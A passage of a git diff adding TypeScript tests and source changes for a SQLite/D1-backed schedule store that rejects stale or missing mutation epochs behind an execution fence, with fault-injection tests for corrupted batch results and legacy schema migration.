+async function activateFence(fence: ExecutionFenceStore) { + await moveFence(fence, 'draining', true); + await moveFence(fence, 'open'); +} + +function rawScheduleState(fixture: MutationFixture) { + return [ + fixture.sqlite.prepare('SELECT * FROM mastra_schedules ORDER BY id').all(), + fixture.sqlite + .prepare('SELECT * FROM mastra_schedule_triggers ORDER BY id') + .all(), + fixture.sqlite + .prepare( + 'SELECT * FROM flowsafe_resource_owners ORDER BY resource_kind, resource_id', + ) + .all(), + ]; +} + +const mutationCases: Array<{ + name: string; + operation: 'author' | 'drain'; + run: ( + fixture: MutationFixture, + context?: MutationEpochContext, + ) => Promise; +}> = [ + { + name: 'create', + operation: 'author', + run: (f, context) => + f.store.createSchedule(workflowSchedule({ id: 'created' }), context), + }, + { + name: 'owned create', + operation: 'author', + run: (f, context) => + f.store.createOwnedSchedule( + scheduleWithCreatorRole( + workflowSchedule({ id: 'created' }), + 'operator', + ), + { kind: 'human', id: 'opal' }, + 100, + context, + ), + }, + { + name: 'update', + operation: 'author', + run: (f, context) => + f.store.updateSchedule( + 'schedule_a', + { metadata: { changed: true } }, + context, + ), + }, + { + name: 'pause', + operation: 'drain', + run: (f, context) => f.store.pauseSchedule('schedule_a', context), + }, + { + name: 'resume', + operation: 'author', + run: (f, context) => + f.store.resumeSchedule( + 'schedule_a', + { + expectedCron: '* * * * *', + expectedTimezone: undefined, + nextFireAt: NOW + 60_000, + }, + context, + ), + }, + { + name: 'delete', + operation: 'drain', + run: (f, context) => f.store.deleteSchedule('schedule_a', context), + }, + { + name: 'owned delete', + operation: 'drain', + run: (f, context) => f.store.deleteOwnedSchedule('schedule_a', context), + }, + { + name: 'pause observation', + operation: 'drain', + run: (f, context) => + f.store.observeScheduleMutation('schedule_a', 'pause', context ?? {}), + }, + { + name: 'resume observation', + operation: 'author', + run: (f, context) => + f.store.observeScheduleMutation('schedule_a', 'resume', context ?? {}), + }, +]; + describe('schedule agent dispatch receipts', () => { it.each([ ['wake', 'succeeded'], @@ -223,7 +402,12 @@ describe('D1SchedulesStorage', () => { await expect( store.createOwnedSchedule(schedule, { kind: 'human', id: 'opal' }, 100), - ).rejects.toThrow(/injected owner failure/); + ).rejects.toMatchObject({ + name: 'ScheduleMutationOutcomeUnknownError', + cause: expect.objectContaining({ + message: expect.stringMatching(/injected owner failure/), + }), + }); expect(await store.getSchedule(schedule.id)).toBeNull(); }); @@ -828,9 +1012,12 @@ describe('D1SchedulesStorage', () => { WHEN OLD.resource_kind = 'schedule' BEGIN SELECT RAISE(ABORT, 'injected owner delete failure'); END`); - await expect(store.deleteOwnedSchedule(schedule.id)).rejects.toThrow( - /injected owner delete failure/, - ); + await expect(store.deleteOwnedSchedule(schedule.id)).rejects.toMatchObject({ + name: 'ScheduleMutationOutcomeUnknownError', + cause: expect.objectContaining({ + message: expect.stringMatching(/injected owner delete failure/), + }), + }); expect(await store.getSchedule(schedule.id)).toEqual(schedule); expect(await resources.owner('schedule', schedule.id)).toEqual(owner); @@ -851,9 +1038,12 @@ describe('D1SchedulesStorage', () => { BEFORE DELETE ON mastra_schedules BEGIN SELECT RAISE(ABORT, 'injected delete failure'); END`); - await expect(store.deleteSchedule('schedule_a')).rejects.toThrow( - /injected delete failure/, - ); + await expect(store.deleteSchedule('schedule_a')).rejects.toMatchObject({ + name: 'ScheduleMutationOutcomeUnknownError', + cause: expect.objectContaining({ + message: expect.stringMatching(/injected delete failure/), + }), + }); expect(await store.getSchedule('schedule_a')).not.toBeNull(); expect(await store.listTriggers('schedule_a')).toHaveLength(1); }); @@ -949,3 +1139,837 @@ describe('D1SchedulesStorage', () => { expect((await store.getSchedule('schedule_a'))?.nextFireAt).toBe(NOW); }); }); + +describe('schedule mutation epochs', () => { + for (const testCase of mutationCases) { + it(`${testCase.name} retains optional-epoch compatibility`, async () => { + const f = await mutationFixture(); + await expect(testCase.run(f)).resolves.not.toBeNull(); + }); + + it(`${testCase.name} accepts the active epoch`, async () => { + const f = await mutationFixture(); + await activateFence(f.fence); + await expect( + testCase.run(f, { mutationEpoch: 1 }), + ).resolves.not.toBeNull(); + }); + + it.each([ + [undefined, 'missing'], + [0, 'stale'], + [2, 'future'], + ] as const)(`${testCase.name} refuses %s with %s classification`, async (mutationEpoch, classification) => { + const f = await mutationFixture(); + await activateFence(f.fence); + const before = rawScheduleState(f); + await expect(testCase.run(f, { mutationEpoch })).rejects.toMatchObject({ + status: 409, + reason: { + code: 'MUTATION_EPOCH_MISMATCH', + classification, + mutationEpoch: 1, + }, + }); + expect(rawScheduleState(f)).toEqual(before); + }); + + it.each([ + -1, + 0.5, + Number.NaN, + Infinity, + '1', + null, + ])(`${testCase.name} rejects malformed epoch %s before SQL`, async (mutationEpoch) => { + const f = await mutationFixture(); + f.sql.length = 0; + await expect( + testCase.run(f, { mutationEpoch: mutationEpoch as number }), + ).rejects.toBeInstanceOf(InvalidMutationEpochError); + expect(f.sql).toEqual([]); + }); + + it(`${testCase.name} rejects a held legacy caller after activation and reopen`, async () => { + const f = await mutationFixture(); + const before = rawScheduleState(f); + f.hooks.beforeBatch = () => activateFence(f.fence); + await expect(testCase.run(f)).rejects.toBeInstanceOf( + MutationEpochMismatchError, + ); + expect(rawScheduleState(f)).toEqual(before); + }); + + it(`${testCase.name} rejects an unchanged epoch after the observed frame changes`, async () => { + const f = await mutationFixture(); + await activateFence(f.fence); + const before = rawScheduleState(f); + f.hooks.beforeBatch = async () => { + await moveFence(f.fence, 'draining'); + await moveFence(f.fence, 'open'); + }; + await expect(testCase.run(f, { mutationEpoch: 1 })).rejects.toMatchObject( + { + reason: { + code: 'SCHEDULE_MUTATION_CONFLICT', + classification: 'fence-changed', + }, + }, + ); + expect(rawScheduleState(f)).toEqual(before); + }); + + for (const state of [ + 'draining', + 'migration-locked', + 'proof-only', + ] as const) { + it(`${testCase.name} applies its state policy in ${state}`, async () => { + const f = await mutationFixture(); + await activateFence(f.fence); + await moveFence(f.fence, state); + const before = rawScheduleState(f); + if (testCase.operation === 'author') { + await expect( + testCase.run(f, { mutationEpoch: 1 }), + ).rejects.toBeInstanceOf(ExecutionFencedError); + expect(rawScheduleState(f)).toEqual(before); + } else { + await expect( + testCase.run(f, { mutationEpoch: 1 }), + ).resolves.not.toBeNull(); + } + }); + } + } + + it('generic paused-status update remains authoring', async () => { + const f = await mutationFixture(); + await activateFence(f.fence); + await moveFence(f.fence, 'draining'); + const before = rawScheduleState(f); + await expect( + f.store.updateSchedule( + 'schedule_a', + { status: 'paused' }, + { mutationEpoch: 1 }, + ), + ).rejects.toBeInstanceOf(ExecutionFencedError); + expect(rawScheduleState(f)).toEqual(before); + }); + + it.each([ + 'create', + 'update', + 'delete', + 'pause observation', + ])('a %s final write refuses missing modern singleton state', async (name) => { + const f = await mutationFixture(); + const before = rawScheduleState(f); + f.hooks.beforeBatch = () => + f.sqlite.exec('DELETE FROM flowsafe_execution_fence'); + const testCase = mutationCases.find((entry) => entry.name === name); + expect(testCase).toBeDefined(); + if (!testCase) throw new Error('mutation fixture is missing'); + await expect(testCase.run(f)).rejects.toBeInstanceOf( + ExecutionFenceUnreadableError, + ); + expect(rawScheduleState(f)).toEqual(before); + }); + + it.each([ + [ + 'extra schema column', + 'ALTER TABLE flowsafe_execution_fence ADD COLUMN unrelated TEXT', + ], + [ + 'counter type', + "PRAGMA ignore_check_constraints=ON; UPDATE flowsafe_execution_fence SET mutation_epoch=x'30'", + ], + [ + 'receipt mismatch', + "UPDATE flowsafe_execution_fence SET last_transition_request='[]'", + ], + [ + 'proof binding type', + "UPDATE flowsafe_execution_fence SET proof_key=x'4142'", + ], + [ + 'singleton identity case', + "PRAGMA ignore_check_constraints=ON; UPDATE flowsafe_execution_fence SET id='DEPLOYMENT'", + ], + [ + 'extra singleton', + "PRAGMA ignore_check_constraints=ON; INSERT INTO flowsafe_execution_fence SELECT 'extra',state,proof_key,proof_run_id,updated_at,last_transition_request,transition_revision,mutation_epoch,require_mutation_epoch,proof_table_prefix,proof_workflow_id,proof_start_token FROM flowsafe_execution_fence", + ], + ])('refuses %s introduced at the final batch', async (_name, sql) => { + const f = await mutationFixture(); + const before = rawScheduleState(f); + f.hooks.beforeBatch = () => f.sqlite.exec(sql); + await expect( + f.store.deleteOwnedSchedule('schedule_a'), + ).rejects.toBeInstanceOf(ExecutionFenceUnreadableError); + expect(rawScheduleState(f)).toEqual(before); + }); + + it('refuses unsupported nullable semantic bindings before preparing a mutation', async () => { + const f = await mutationFixture(); + f.sqlite.exec("UPDATE flowsafe_execution_fence SET proof_key=x'4142'"); + f.sql.length = 0; + await expect(f.store.pauseSchedule('schedule_a')).rejects.toBeInstanceOf( + ExecutionFenceUnreadableError, + ); + expect(f.sql.some((sql) => /UPDATE mastra_schedules/.test(sql))).toBe( + false, + ); + }); + + it('compares semantic strings with binary equality', async () => { + const f = await mutationFixture(); + f.sqlite.exec("UPDATE flowsafe_execution_fence SET proof_key='ProofKey'"); + const before = rawScheduleState(f); + f.hooks.beforeBatch = () => + f.sqlite.exec("UPDATE flowsafe_execution_fence SET proof_key='proofkey'"); + await expect(f.store.pauseSchedule('schedule_a')).rejects.toBeInstanceOf( + ScheduleMutationConflictError, + ); + expect(rawScheduleState(f)).toEqual(before); + }); + + it('timestamp-only fence changes do not invalidate the semantic frame', async () => { + const f = await mutationFixture(); + f.hooks.beforeBatch = () => + f.sqlite.exec( + 'UPDATE flowsafe_execution_fence SET updated_at=updated_at+1', + ); + await expect(f.store.pauseSchedule('schedule_a')).resolves.toMatchObject({ + status: 'paused', + }); + }); +}); + +describe('schedule authoring capture and observations', () => { + it('captures epoch, row JSON, owner getters and batch receiver before waits', async () => { + const f = await mutationFixture(); + const schedule = scheduleWithCreatorRole( + workflowSchedule({ id: 'captured' }), + 'operator', + ); + const epoch = vi.fn(() => 0); + const ownerKind = vi.fn(() => 'human' as const); + const ownerId = vi.fn(() => 'opal'); + const owner = { + get kind() { + return ownerKind(); + }, + get id() { + return ownerId(); + }, + }; + f.hooks.beforeBatch = () => { + schedule.id = 'changed'; + schedule.target = { type: 'workflow', workflowId: 'changed' }; + schedule.metadata = { changed: true }; + ownerId.mockReturnValue('changed'); + epoch.mockReturnValue(100); + }; + f.binding.batch = () => { + throw new Error('replacement receiver'); + }; + const result = await f.store.createOwnedSchedule(schedule, owner, 100, { + get mutationEpoch() { + return epoch(); + }, + }); + expect(result).toMatchObject({ + id: 'captured', + target: { workflowId: 'wf' }, + metadata: {}, + }); + expect(epoch).toHaveBeenCalledTimes(1); + expect(ownerKind).toHaveBeenCalledTimes(1); + expect(ownerId).toHaveBeenCalledTimes(1); + expect( + f.sqlite + .prepare( + "SELECT owner_id FROM flowsafe_resource_owners WHERE resource_id='captured'", + ) + .get(), + ).toEqual({ owner_id: 'opal' }); + }); + + it('captures a mutable context even when a later getter would supply the active epoch', async () => { + const f = await mutationFixture(); + const epoch = vi.fn().mockReturnValueOnce(0).mockReturnValue(1); + const before = rawScheduleState(f); + f.hooks.beforeBatch = () => activateFence(f.fence); + await expect( + f.store.pauseSchedule('schedule_a', { + get mutationEpoch() { + return epoch(); + }, + }), + ).rejects.toMatchObject({ reason: { classification: 'stale' } }); + expect(epoch).toHaveBeenCalledTimes(1); + expect(rawScheduleState(f)).toEqual(before); + }); + + it('captures update fields once and serializes nested metadata before waiting', async () => { + const f = await mutationFixture(); + const metadata = { note: 'original' }; + const readMetadata = vi.fn(() => metadata); + f.hooks.beforeBatch = () => { + metadata.note = 'changed'; + }; + const updated = await f.store.updateSchedule('schedule_a', { + get metadata() { + return readMetadata(); + }, + }); + expect(updated.metadata).toEqual({ note: 'original' }); + expect(readMetadata).toHaveBeenCalledTimes(1); + }); + + it.each([ + ["cron='*/5 * * * *'", 'cron'], + ["timezone='UTC'", 'timezone'], + ])('resume refuses a concurrent %s change', async (sql) => { + const f = await mutationFixture(); + await f.store.pauseSchedule('schedule_a'); + f.hooks.beforeBatch = () => + f.sqlite.exec(`UPDATE mastra_schedules SET ${sql}`); + await expect( + f.store.resumeSchedule('schedule_a', { + expectedCron: '* * * * *', + expectedTimezone: undefined, + nextFireAt: NOW + 60_000, + }), + ).rejects.toMatchObject({ + reason: { + code: 'SCHEDULE_MUTATION_CONFLICT', + classification: 'schedule-changed', + }, + }); + expect(await f.store.getSchedule('schedule_a')).toMatchObject({ + status: 'paused', + nextFireAt: NOW, + }); + }); + + it('resume captures its expected timezone and computed timestamp before waiting', async () => { + const f = await mutationFixture(); + await f.store.pauseSchedule('schedule_a'); + const mutation = { + expectedCron: '* * * * *', + expectedTimezone: undefined as string | undefined, + nextFireAt: NOW + 60_000, + }; + f.hooks.beforeBatch = () => { + mutation.expectedTimezone = 'UTC'; + mutation.nextFireAt = NOW + 120_000; + }; + await expect( + f.store.resumeSchedule('schedule_a', mutation), + ).resolves.toMatchObject({ status: 'active', nextFireAt: NOW + 60_000 }); + }); + + it('no-op observations preserve row timestamps and return current status', async () => { + const f = await mutationFixture(); + const before = rawScheduleState(f); + await expect( + f.store.observeScheduleMutation('schedule_a', 'resume', {}), + ).resolves.toMatchObject({ status: 'active', updatedAt: NOW }); + expect(rawScheduleState(f)).toEqual(before); + await f.store.pauseSchedule('schedule_a'); + const paused = rawScheduleState(f); + await expect( + f.store.observeScheduleMutation('schedule_a', 'pause', {}), + ).resolves.toMatchObject({ status: 'paused' }); + expect(rawScheduleState(f)).toEqual(paused); + await expect( + f.store.observeScheduleMutation('absent', 'pause', {}), + ).resolves.toBeNull(); + }); + + it('returns the post-race status from a guarded observation', async () => { + const f = await mutationFixture(); + f.hooks.beforeBatch = () => + f.sqlite.exec("UPDATE mastra_schedules SET status='paused'"); + await expect( + f.store.observeScheduleMutation('schedule_a', 'resume', {}), + ).resolves.toMatchObject({ status: 'paused' }); + }); + + it('rejects an invalid observer selector before SQL', async () => { + const f = await mutationFixture(); + f.sql.length = 0; + await expect( + f.store.observeScheduleMutation('schedule_a', 'delete' as 'pause', {}), + ).rejects.toThrow('observation is invalid'); + expect(f.sql).toEqual([]); + }); +}); + +describe('schedule transaction evidence', () => { + it.each([ + [ + 'missing batch slot', + (results: unknown[]) => { + delete results[1]; + }, + ], + [ + 'extra batch slot', + (results: unknown[]) => { + results.push(results[0]); + }, + ], + [ + 'missing RETURNING', + (results: unknown[]) => { + delete (results[3] as Record).results; + }, + ], + [ + 'sparse RETURNING', + (results: unknown[]) => { + (results[3] as Record).results = new Array(1); + }, + ], + [ + 'false success', + (results: unknown[]) => { + (results[3] as Record).success = false; + }, + ], + [ + 'null metadata', + (results: unknown[]) => { + (results[3] as Record).meta = null; + }, + ], + [ + 'contradictory changes', + (results: unknown[]) => { + (results[3] as Record).meta = { changes: 0 }; + }, + ], + [ + 'undefined changes', + (results: unknown[]) => { + (results[3] as Record).meta = { changes: undefined }; + }, + ], + [ + 'missing owner witness', + (results: unknown[]) => { + results[4] = { results: [], meta: { changes: 0 } }; + }, + ], + ] as const)('classifies %s as unknown without compensating', async (_name, corrupt) => { + const f = await mutationFixture(); + f.hooks.afterBatch = (results) => { + corrupt(results); + return results; + }; + const calls = f.batches(); + await expect( + f.store.createOwnedSchedule( + scheduleWithCreatorRole( + workflowSchedule({ id: 'uncertain' }), + 'operator', + ), + { kind: 'human', id: 'opal' }, + 100, + ), + ).rejects.toBeInstanceOf(ScheduleMutationOutcomeUnknownError); + expect(f.batches()).toBe(calls + 1); + expect(await f.store.getSchedule('uncertain')).not.toBeNull(); + expect( + f.sqlite + .prepare( + "SELECT owner_id FROM flowsafe_resource_owners WHERE resource_id='uncertain'", + ) + .get(), + ).toEqual({ owner_id: 'opal' }); + }); + + it('accepts complete bounded RETURNING without metadata and ignores SELECT change counts', async () => { + const f = await mutationFixture(); + f.hooks.afterBatch = (results) => { + delete (results[3] as Record).meta; + (results[2] as Record).meta = { changes: 987 }; + return results; + }; + await expect(f.store.pauseSchedule('schedule_a')).resolves.toMatchObject({ + status: 'paused', + }); + }); + + it.each([ + 'before', + 'after', + ] as const)('does not retry a thrown %s-batch response', async (when) => { + const f = await mutationFixture(); + const cause = new Error('transport lost'); + if (when === 'before') + f.hooks.beforeBatch = () => { + throw cause; + }; + else + f.hooks.afterBatch = () => { + throw cause; + }; + const calls = f.batches(); + await expect( + f.store.createSchedule(workflowSchedule({ id: 'uncertain' })), + ).rejects.toMatchObject({ + name: 'ScheduleMutationOutcomeUnknownError', + cause, + }); + expect(f.batches()).toBe(calls + 1); + expect(await f.store.getSchedule('uncertain')).toEqual( + when === 'before' ? null : workflowSchedule({ id: 'uncertain' }), + ); + }); + + it('malformed responses take precedence over a diagnosable fence refusal', async () => { + const f = await mutationFixture(); + f.hooks.beforeBatch = () => activateFence(f.fence); + f.hooks.afterBatch = (results) => { + delete results[3]; + return results; + }; + await expect(f.store.pauseSchedule('schedule_a')).rejects.toBeInstanceOf( + ScheduleMutationOutcomeUnknownError, + ); + }); + + it('a zero UPDATE cannot claim success from an unchanged row', async () => { + const f = await mutationFixture(); + f.hooks.afterBatch = (results) => { + results[3] = { results: [], meta: { changes: 0 } }; + return results; + }; + await expect( + f.store.updateSchedule('schedule_a', { metadata: {} }), + ).rejects.toBeInstanceOf(ScheduleMutationOutcomeUnknownError); + }); + + it.each([ + 'update', + 'observation', + ])('refuses matching truncated %s rows', async (operation) => { + const f = await mutationFixture(); + f.hooks.afterBatch = (results) => { + for (const index of [2, 3]) { + const result = results[index] as { results: Record[] }; + const row = result.results[0]; + if (!row) throw new Error('fixture row missing'); + delete row.createdAt; + } + return results; + }; + await expect( + operation === 'update' + ? f.store.updateSchedule('schedule_a', { metadata: {} }) + : f.store.observeScheduleMutation('schedule_a', 'pause', {}), + ).rejects.toBeInstanceOf(ScheduleMutationOutcomeUnknownError); + }); + + it('preserves direct not-found errors after authoritative absence', async () => { + const f = await mutationFixture(); + await expect(f.store.updateSchedule('absent', {})).rejects.toThrow( + 'schedule absent not found', + ); + await expect(f.store.pauseSchedule('absent')).rejects.toThrow( + 'schedule absent not found', + ); + }); +}); + +describe('schedule deletion, preparation and compatibility', () => { + it('pending deletions consume the original deployment cap', async () => { + const f = await mutationFixture(); + await f.store.recordTrigger({ + id: 'deferred', + scheduleId: 'schedule_a', + runId: 'run-a', + scheduledFireAt: NOW, + actualFireAt: NOW, + outcome: 'deferred', + }); + await expect(f.store.deleteOwnedSchedule('schedule_a')).resolves.toBe( + 'pending', + ); + expect(await f.store.listSchedules()).toEqual([]); + await activateFence(f.fence); + await expect( + f.store.createOwnedSchedule( + scheduleWithCreatorRole(workflowSchedule({ id: 'capped' }), 'operator'), + { kind: 'human', id: 'opal' }, + 1, + { mutationEpoch: 1 }, + ), + ).resolves.toBeNull(); + expect( + f.sqlite + .prepare( + "SELECT COUNT(*) AS count FROM flowsafe_resource_owners WHERE resource_id='capped'", + ) + .get(), + ).toEqual({ count: 0 }); + }); + + it('a stale cap-zero create reports epoch refusal', async () => { + const f = await mutationFixture(); + f.hooks.beforeBatch = () => activateFence(f.fence); + await expect( + f.store.createOwnedSchedule( + scheduleWithCreatorRole(workflowSchedule({ id: 'capped' }), 'operator'), + { kind: 'human', id: 'opal' }, + 0, + ), + ).rejects.toBeInstanceOf(MutationEpochMismatchError); + }); + + it('keeps admitted trigger settlement independent of later epoch and state', async () => { + const f = await mutationFixture(); + const trigger = { + id: 'deferred', + scheduleId: 'schedule_a', + runId: 'run-a', + scheduledFireAt: NOW, + actualFireAt: NOW, + outcome: 'deferred' as const, + }; + await f.store.recordTrigger(trigger); + await activateFence(f.fence); + await expect( + f.store.deleteOwnedSchedule('schedule_a', { mutationEpoch: 1 }), + ).resolves.toBe('pending'); + const marker = f.sqlite + .prepare( + "SELECT deletionRequestedAt FROM mastra_schedules WHERE id='schedule_a'", + ) + .get(); + await expect( + f.store.deleteOwnedSchedule('schedule_a', { mutationEpoch: 1 }), + ).resolves.toBe('pending'); + expect( + f.sqlite + .prepare( + "SELECT deletionRequestedAt FROM mastra_schedules WHERE id='schedule_a'", + ) + .get(), + ).toEqual(marker); + await moveFence(f.fence, 'draining', true); + await f.store.recordTrigger({ + ...trigger, + outcome: 'failed', + error: 'settled', + }); + expect(rawScheduleState(f)).toEqual([[], [], []]); + await f.store.recordTrigger({ ...trigger, outcome: 'failed' }); + expect(rawScheduleState(f)).toEqual([[], [], []]); + }); + + it('a held stale deletion preserves deferred triggers and owner bytes', async () => { + const f = await mutationFixture(); + await f.store.recordTrigger({ + id: 'deferred', + scheduleId: 'schedule_a', + runId: 'run-a', + scheduledFireAt: NOW, + actualFireAt: NOW, + outcome: 'deferred', + metadata: { opaque: 'retain' }, + }); + const before = rawScheduleState(f); + f.hooks.beforeBatch = () => activateFence(f.fence); + await expect( + f.store.deleteOwnedSchedule('schedule_a'), + ).rejects.toBeInstanceOf(MutationEpochMismatchError); + expect(rawScheduleState(f)).toEqual(before); + }); + + it('guards orphan cleanup independently when the first deletion UPDATE matches no schedule', async () => { + const f = await mutationFixture(); + await f.store.recordTrigger({ + id: 'orphan', + scheduleId: 'schedule_a', + runId: null, + scheduledFireAt: NOW, + actualFireAt: NOW, + outcome: 'deferred', + }); + f.sqlite.exec('DELETE FROM mastra_schedules'); + const before = rawScheduleState(f); + f.hooks.beforeBatch = () => activateFence(f.fence); + await expect( + f.store.deleteOwnedSchedule('schedule_a'), + ).rejects.toBeInstanceOf(MutationEpochMismatchError); + expect(rawScheduleState(f)).toEqual(before); + await expect( + f.store.deleteOwnedSchedule('schedule_a', { mutationEpoch: 1 }), + ).resolves.toBe('deleted'); + expect(rawScheduleState(f)).toEqual([[], [], []]); + }); + + it('deletes populated history with bounded returned rows and strict trigger changes', async () => { + const f = await mutationFixture(); + const insert = f.sqlite.prepare( + "INSERT INTO mastra_schedule_triggers (id,scheduleId,runId,scheduledFireAt,actualFireAt,outcome) VALUES (?,'schedule_a',NULL,?,?,'published')", + ); + for (let index = 0; index < 300; index += 1) + insert.run(`history-${index}`, NOW, NOW + index); + let captured: unknown[] | undefined; + f.hooks.afterBatch = (results) => { + captured = results; + return results; + }; + await expect(f.store.deleteOwnedSchedule('schedule_a')).resolves.toBe( + 'deleted', + ); + expect(captured?.[4]).toMatchObject({ + results: [], + meta: { changes: 300 }, + }); + expect(JSON.stringify(captured).length).toBeLessThan(10_000); + expect(rawScheduleState(f)).toEqual([[], [], []]); + }); + + it.each([ + undefined, + { changes: 0 }, + { changes: 1.5 }, + { changes: undefined }, + ])('requires exact trigger DML metadata: %j', async (meta) => { + const f = await mutationFixture(); + await f.store.recordTrigger({ + id: 'history', + scheduleId: 'schedule_a', + runId: null, + scheduledFireAt: NOW, + actualFireAt: NOW, + outcome: 'published', + }); + f.hooks.afterBatch = (results) => { + if (meta === undefined) + delete (results[4] as Record).meta; + else (results[4] as Record).meta = meta; + return results; + }; + const calls = f.batches(); + await expect( + f.store.deleteOwnedSchedule('schedule_a'), + ).rejects.toBeInstanceOf(ScheduleMutationOutcomeUnknownError); + expect(f.batches()).toBe(calls + 1); + expect(rawScheduleState(f)).toEqual([[], [], []]); + }); + + it('advertises the original binding and captures facade method receivers', async () => { + const f = await mutationFixture(); + const capability = f.store[FENCED_SCHEDULE_STORAGE]; + expect(capability?.database).toBe(f.binding); + expect(f.fence.usesDatabase(capability?.database as object)).toBe(true); + if (!capability) throw new Error('schedule capability is missing'); + f.store.pauseSchedule = () => { + throw new Error('replacement method'); + }; + const pause = capability.pauseSchedule; + await expect(pause('schedule_a', {})).resolves.toMatchObject({ + status: 'paused', + }); + }); + + it('reads on a prepare-only binding without seeding the fence and refuses authoring', async () => { + const sqlite = openSqlite(); + const native = sqliteUnitDatabase(sqlite) as ScheduleDatabase; + const store = new D1SchedulesStorage({ + prepare: native.prepare.bind(native), + }); + expect(store[FENCED_SCHEDULE_STORAGE]).toBeUndefined(); + await store.init(); + await expect(store.getSchedule('absent')).resolves.toBeNull(); + await expect(store.listSchedules()).resolves.toEqual([]); + expect( + sqlite + .prepare( + "SELECT name FROM sqlite_schema WHERE name='flowsafe_execution_fence'", + ) + .all(), + ).toEqual([]); + await expect(store.createSchedule(workflowSchedule())).rejects.toThrow( + 'requires database.batch()', + ); + expect( + sqlite + .prepare( + "SELECT name FROM sqlite_schema WHERE name='flowsafe_execution_fence'", + ) + .all(), + ).toEqual([]); + }); + + it('migrates a legacy empty fence on authoring and does not recreate a deleted modern singleton', async () => { + const sqlite = openSqlite(); + sqlite.exec( + "CREATE TABLE flowsafe_execution_fence (id TEXT PRIMARY KEY CHECK(id='deployment'),state TEXT NOT NULL,proof_key TEXT,proof_run_id TEXT,updated_at INTEGER NOT NULL)", + ); + const binding = sqliteUnitDatabase(sqlite) as ScheduleDatabase; + const store = new D1SchedulesStorage(binding); + await store.createSchedule(workflowSchedule()); + expect( + await new ExecutionFenceStore(binding).readForAdmission(), + ).toMatchObject({ + schemaStage: 7, + reading: { state: 'open', requireMutationEpoch: false }, + }); + sqlite.exec('DELETE FROM flowsafe_execution_fence'); + await expect(store.pauseSchedule('schedule_a')).rejects.toBeInstanceOf( + ExecutionFenceUnreadableError, + ); + expect( + sqlite.prepare('SELECT * FROM flowsafe_execution_fence').all(), + ).toEqual([]); + }); + + it('retries failed authoring preparation without seeding on read paths', async () => { + const sqlite = openSqlite(); + const native = sqliteUnitDatabase(sqlite) as ScheduleDatabase; + let fail = true; + let fencePreparations = 0; + const binding: ScheduleDatabase = { + prepare(query) { + if (query.includes('flowsafe_execution_fence')) { + fencePreparations += 1; + if (fail) { + fail = false; + throw new Error('seed unavailable'); + } + } + return native.prepare(query); + }, + batch: native.batch?.bind(native), + }; + const store = new D1SchedulesStorage(binding); + await store.init(); + await store.listSchedules(); + expect(fencePreparations).toBe(0); + await expect( + store.createSchedule(workflowSchedule()), + ).rejects.toBeInstanceOf(ExecutionFenceUnreadableError); + await expect( + store.createSchedule(workflowSchedule()), + ).resolves.toMatchObject({ id: 'schedule_a' }); + const seed = vi.spyOn(ExecutionFenceStore.prototype, 'seed'); + try { + await store.pauseSchedule('schedule_a'); + await store.updateSchedule('schedule_a', { metadata: { ready: true } }); + expect(seed).not.toHaveBeenCalled(); + } finally { + seed.mockRestore(); + } + }); +}); diff --git a/packages/flowsafe/src/schedules/schedules-d1.ts b/packages/flowsafe/src/schedules/schedules-d1.ts index f99e2d8a..e5f88f12 100644 --- a/packages/flowsafe/src/schedules/schedules-d1.ts +++ b/packages/flowsafe/src/schedules/schedules-d1.ts @@ -34,6 +34,7 @@ import { type ScheduleTriggerListOptions, type ScheduleUpdate, } from '@mastra/core/storage'; +import { EXECUTION_FENCE_TABLE } from '#deployment-identity-protocol'; import { APPROVAL_ROLES, canonicalResourceOwner, @@ -41,6 +42,22 @@ import { RESOURCE_OWNERSHIP_TABLE, type ResourceOwner, } from '../approval-api/index.js'; +import { + assertMutationEpoch, + ExecutionFenceUnreadableError, + type MutationEpochContext, + normalizeMutationEpoch, +} from '../do-runner/execution-admission.js'; +import { + admitsWorkAuthoring, + captureExecutionFenceAdmissionSchema, + decodeExecutionFenceAdmissionRow, + type ExecutionFenceAdmissionObservation, + ExecutionFencedError, + ExecutionFenceStore, + executionFenceAdmissionSql, + executionFenceAdmissionValues, +} from '../do-runner/execution-fence.js'; import { isPathSafeId } from '../do-runner/path-safe-id.js'; import { validateTablePrefix } from '../do-runner/table-prefix.js'; @@ -51,6 +68,13 @@ import { type SignalDatabase, type SignalStatement, } from '../signals/d1-shared.js'; +import { + FENCED_SCHEDULE_STORAGE, + type FencedScheduleMutationCapability, + ScheduleMutationConflictError, + ScheduleMutationOutcomeUnknownError, + type ScheduleResumeMutation, +} from './mutation-contract.js'; import type { AuthorizedSchedule } from './target-policy.js'; // The D1 seam + column helpers are Track C's canonical shared leaf @@ -185,6 +209,285 @@ interface ScheduleTriggerRow { metadata: string | null; } +const SCHEDULE_COLUMNS = [ + 'id', + 'target', + 'cron', + 'timezone', + 'status', + 'nextFireAt', + 'lastFireAt', + 'lastRunId', + 'createdAt', + 'updatedAt', + 'metadata', + 'ownerType', + 'ownerId', + 'creatorRole', +] as const; + +type ScheduleMutationOperation = + | 'create' + | 'update' + | 'pause' + | 'resume' + | 'delete'; + +interface PreparedScheduleMutation { + epoch: number | undefined; + operation: ScheduleMutationOperation; + semantic: readonly unknown[]; + schema: string; + bindings: unknown[]; +} + +interface ScheduleStatementResult { + rows: Record[]; + hasChanges: boolean; + changes: unknown; +} + +function mutationUnknown(cause: unknown): ScheduleMutationOutcomeUnknownError { + return new ScheduleMutationOutcomeUnknownError({ cause }); +} + +function mutationRecord(value: unknown): Record { + if (value === null || typeof value !== 'object' || Array.isArray(value)) { + throw new Error('schedule mutation result is malformed'); + } + return value as Record; +} + +function captureScheduleResult(value: unknown): ScheduleStatementResult { + const result = mutationRecord(value); + if ('success' in result && result.success !== true) { + throw new Error('schedule mutation statement did not succeed'); + } + const rows = result.results; + if (!Array.isArray(rows)) + throw new Error('schedule mutation rows are missing'); + const captured = Array.from({ length: rows.length }, (_, index) => { + if (!Object.hasOwn(rows, index)) + throw new Error('schedule mutation row is missing'); + const row = mutationRecord(rows[index]); + return Object.freeze( + Object.fromEntries( + Object.getOwnPropertyNames(row).map((key) => [key, row[key]]), + ), + ); + }); + const meta = 'meta' in result ? mutationRecord(result.meta) : undefined; + const hasChanges = meta !== undefined && 'changes' in meta; + return { + rows: captured, + hasChanges, + changes: hasChanges ? meta.changes : undefined, + }; +} + +function captureScheduleBatch( + value: unknown, + length: number, +): ScheduleStatementResult[] { + if (!Array.isArray(value) || value.length !== length) { + throw new Error('schedule mutation batch cardinality is invalid'); + } + return Array.from({ length }, (_, index) => { + if (!Object.hasOwn(value, index)) + throw new Error('schedule mutation result is missing'); + return captureScheduleResult(value[index]); + }); +} + +function scheduleChanges( + 